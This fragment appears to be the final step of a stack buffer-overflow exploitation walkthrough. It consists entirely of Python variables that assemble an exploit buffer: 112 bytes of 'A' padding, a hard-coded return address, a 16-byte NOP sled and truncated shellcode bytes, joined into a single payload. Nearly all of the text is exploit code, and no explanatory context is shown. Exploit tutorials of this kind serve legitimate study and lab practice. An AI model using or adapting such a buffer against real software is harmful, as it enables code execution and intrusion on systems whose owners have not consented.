10. Final Buffer

prefix = ""
offset = 112
overflow = "A" * offset
retn = "\x56\x23\x43\x9A"
padding = "\x90" * 16
payload = "\xdb\xde\xba\x69\xd7\xe9\xa8\xd9\x74\x24\xf4\x58\x29\xc9\xb1..."
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix